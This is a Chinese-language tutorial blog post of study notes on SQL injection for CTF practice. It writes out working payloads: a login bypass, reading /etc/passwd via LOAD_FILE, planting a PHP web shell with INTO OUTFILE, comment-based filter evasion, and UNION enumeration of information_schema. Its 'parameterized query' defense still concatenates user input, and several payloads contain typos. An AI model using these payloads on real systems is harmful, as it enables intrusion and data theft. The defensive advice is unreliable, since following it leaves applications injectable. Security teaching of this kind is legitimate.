SQL注入:从原理到实践
《SQL注入攻击与防御 Justin Clarke》学习心得
SQL注入原理
web应用的一般架构
数据库驱动的web应用通常包含三层,第一层是呈现在HTML引擎上面的表示层,第二层是利用编程语言搭建的逻辑层,第三层是数据库交互的存储层,一般情况下,表示层不直接和存储层通信。有些时候,在存储层和逻辑层之间会有一层应用层,这层应用层为逻辑层提供API,应用层通过查询、更新数据库来响应表示层的请求。
理解SQL注入
sql注入是一种将SQL语句代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。
一个典型的SQL注入语句是 ’ or ‘1’ = '1
简单的例子:
在php语言的一个中间层中的脚本如下:
$query = "SELECT * FROM CMSUsers WHERE USER ='$_GET["user"]'"
"AND password = '$_GET["password"]'";
...
if($rowcount !=0){login success.};
这个代码中只要返回了一个记录,那么coder认为他就是有效的,因此认为登录成功,我们可以在password中输入万能脚本语句' or'1'='1
使得其返回多条记录,从而绕过登录系统
有效的防御方法
百度中可以得到很多有效的方法抵御SQL注入,一个典型的方法是使用参数化的查询方法,简单的说,就是在得到用户的输入之后,检查用户的输入的长度、格式是否满足一般的输入参数的要求。例如,我们可以使用:
$query = "SELECT * FROM CMSUsers WHERE USER ='$_GET["user"]'"+
+ request.Getparameter("input") + " ' ";
SQL注入常见诱因
- 转义字符处理不当–单引号的检查
通常,SQL语言将单引号字符解析成代码与数据间的分界线,单引号的外面是需要运行的代码,而单引号内是数据,因此,检查一个网站是否易受SQL注入,只需要在输入处输入一个单引号即可。
如果输入一个单引号,我们很可能会得到以下几种错误的一种:
Warning: mysql_fetch_assoc():supplied argument is not a valid MySQL result resourse.
You have an error in your SQL syntax; check the mannual that corresponds to your MySQL server version for the right syntax to use near ''VALUE''
报语法错误是因为单引号被解析成了字符串分隔符,即Input左右为分号,可以使用SQL注入
- 类型处理不当
在SQL语句中,INT型的量左右不需要加单引号,否则会被当作字符串处理。一般情况下,SQL注入因此被分类为字符型注入和数字型注入。关于这一条我们在后面还会详细了解。
有用的例子
- 熟悉数据库的结构
了解各种数据库的转义字符是十分重要的,在oracle中,空格、双竖线、逗号句号,*/号和双引号字符都有特殊的含义。
管道字符|用于为一个值追加一个函数:
http://www.victim.com/id=1 ||utl_inaddr.get_host_address(local)--
-- 是注释符号,可以注释掉后面的内容,注意在-- 后面跟着一个空格
函数将被执行。函数的结果将转换并与前面的值连接
在SAP DB中,开始定界符由<!组成
- 可怕的后果
MySQL提供了一个LOAD_FILE的函数,读取文件并将文件内容作为字符串返回,调用参数是文件的完整路径,此外调用该函数的用户必须具有file权限,例如:
$query = "SELECT * FROM CMSUsers WHERE USER = $_GET["user"]"
其中user 是个整型值
输入:
1 UNION ALL SELECT LOAD_FILE('/etc/passwd')--
或者:
1 UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE
"/var/www/html/bucunzaidewangzhan.com/cmd.php"
获得用户的密码文件或者向WEB根目录写入一个web shell以便远程交互
##尝试SQL注入
注意:任何未经授权网站本身授权的对网站的攻击和漏洞挖掘都可能让你吃官司。分享一些有用的资源跟大家练习。无论是SQL注入还是其他安全问题,耐心和细心都是十分重要的工具,理解原理是远远不够的。但理解原理有助于你掌握细节。
实验吧平台:http://www.shiyanbar.com/ctf/
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/introduction/resources/
picoctf:https://picoctf.com/
新手向的SQL注入题目有错误信息的提示,这使得注入变得较为轻松,因为你可以获得一些有效的信息,没有提示信息的SQL注入被称为SQL盲注。
一般步骤和实用技巧
-
单引号检查是否可以被注入
-
一个典型的输入输出为:
输入: ' 输出: You have an error in your SQL syntax; check the mannual that corresponds to your MySQL server version for the right syntax to use near '''''' 这条错误信息也泄露了数据库的类型为Mysql
-
-
根据错误信息判断数据库的版本和品牌。一般的ctf题目会使用Mysql进行开发,想知道数据库的版本有很多种方法,以下举一些简单的例子:
-
为了格式和上面相同:
对于数字型注入(下一条会讲)来说,只需要一个小的类型转换就可以触发一个错误: 例如:http://www.bucunzaidewangzhan.com/rooduct.asp?id=@@verison 会输出: Microsoft OLEDB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the navchar value 'Microsoft SQL Server 2005 -9.00.3042.00(intel x86) Feb 9 2007 22:47:07 Copyright.....'
-
对于Mysql的一个技巧:
我们知道Mysql有三种添加注释的方法: 1.在行尾加一个# 2.在行尾加一个"-- "不要忘记空格 3.在一个/*后面跟一个*/字符 第三种方法有一个小Tip,如果在注释的开头部分加一个!后面跟上数据库的版本编号,那么这个注释将被解析成代码!只要数据库的版本高于或者等于注释中的版本,那么代码就会被执行。具体如下: 对于一个字符型的、只查询了一列的(后面会讲)语句,我们可以这样注入: 'union select 1 /*!40119+1*/# 那么他将会返回: 2(Mysql版本大于等于4.01.19) 1
-
-
检查注入的类型为字符型还是数字型
-
字符型的含义即需要输入一个字符串,一般情况下应用层会给这个字符串后加一个’ ,而数字型的输入意味着需要输入一个整型的量,而整型的量不需要使用’'两个单引号。
举前面的例子: $query = "SELECT * FROM CMSUsers WHERE USER ='$_GET["user"]'" 这个是字符型的。 $query = "SELECT * FROM CMSUsers WHERE ID =$_GET["user"]" 这个是数字型的。
-
检查是数字型还是字符型:
猜 输入一个数字试试 比如3 和3-- 典型地,因为字符型的语句后面有' 如果你把它-- 掉会报错,而数字型不会
-
-
查看是否有过滤器,过滤器会将一些注入所必要的东西过滤,因此我们需要转换方法、更换思路
-
在上面给出的链接里面,实验吧的sql注入三道题都使用了过滤器,过滤器会过滤掉一些需要使用的符号等等,过滤器也是防止SQL注入的有效方法,比如:
过滤器过滤了' '空格,那么我们所有的注入就会变成: 'or'1'='1 会被系统识别成一个连续的字符串! 再比如 select * from table 如果没有了空格: select*fromtable会导致编译器无法正确的识别! 对抗方法十分简单,我们把空格替换为注释符号: 希望注入: 'union select schema_name from information_schema.schemata where '1'=1 改为: 1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1 即可。
-
-
使用Union 语句提取数据
-
Union语句是操作数据库的管理员最常用、最有用的工具之一,他可以合并两条或者多条select语句的查询结果,我们可以注入union语句一次性获得大量的信息,其基本语法如下:
select column1,colunm2....colunmN from table1 union -- all 默认不包含重复的值,除非加上all select column1,colunm2....colunmN from table2
-
union语句需要满足一些要求才可以使用,两个select查询返回的列数必须要相同,返回的数据类型至少要兼容,否则会报错。那么如何知道之前的coder使用的select查询了多少列呢?一个典型的方法是使用order by 加一个数字,order by可以接受列名,也可以接受一个简单的识别特定列的数字。
http://www.bucunzaidewangzhan.com/rooduct.asp?id=12+order+by+1 http://www.bucunzaidewangzhan.com/rooduct.asp?id=12+order+by+2 http://www.bucunzaidewangzhan.com/rooduct.asp?id=12+order+by+3 ... 如果到6的时候报错,说明之前的select语句有5列 当然穷举太沙雕了,我们使用二分法查找: http://www.bucunzaidewangzhan.com/rooduct.asp?id=12+order+by+8 不报错则大于8列,报错则查: http://www.bucunzaidewangzhan.com/rooduct.asp?id=12+order+by+4 不报错则有4~8列,报错则有1~4列
-
-
使用MySQL中的information_schema查看有哪些数据库
-
information_schema简介
在安装了Mysql后,在命令行登录之后使用命令: >use information_schema; >show databases; 得到输出: +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sys | +--------------------+ informaton_schema并非用户创建,而是mysql自动创建的数据库。这个数据库可以说是“信息的信息”,他提供了Mysql所维护的所有数据库的信息,包括数据库的名字、表的名字、列的名字和访问权限等,这些表是通过视图的方式存储在这个库中,因此是只读而无法修改的。但对于攻击者来说,这个数据库提供了大量的熵值。
这篇文章详细介绍了Mysql中information_schema数据库的相关信息,链接如下:
-
注入方法:
1'union select schema_name from information_schema.schemata where'1'='1
-
-
查看有哪些表
-
保持格式:
1'union select table_name from information_schema.tables where'1'='1
-
-
查看有哪些列
-
我真的很强迫症:
1'union select colunm_name from information_schema.colunms where'1'='1
-
持续更新!题主很菜,如果有错还望各路大佬多多指教,感激不尽!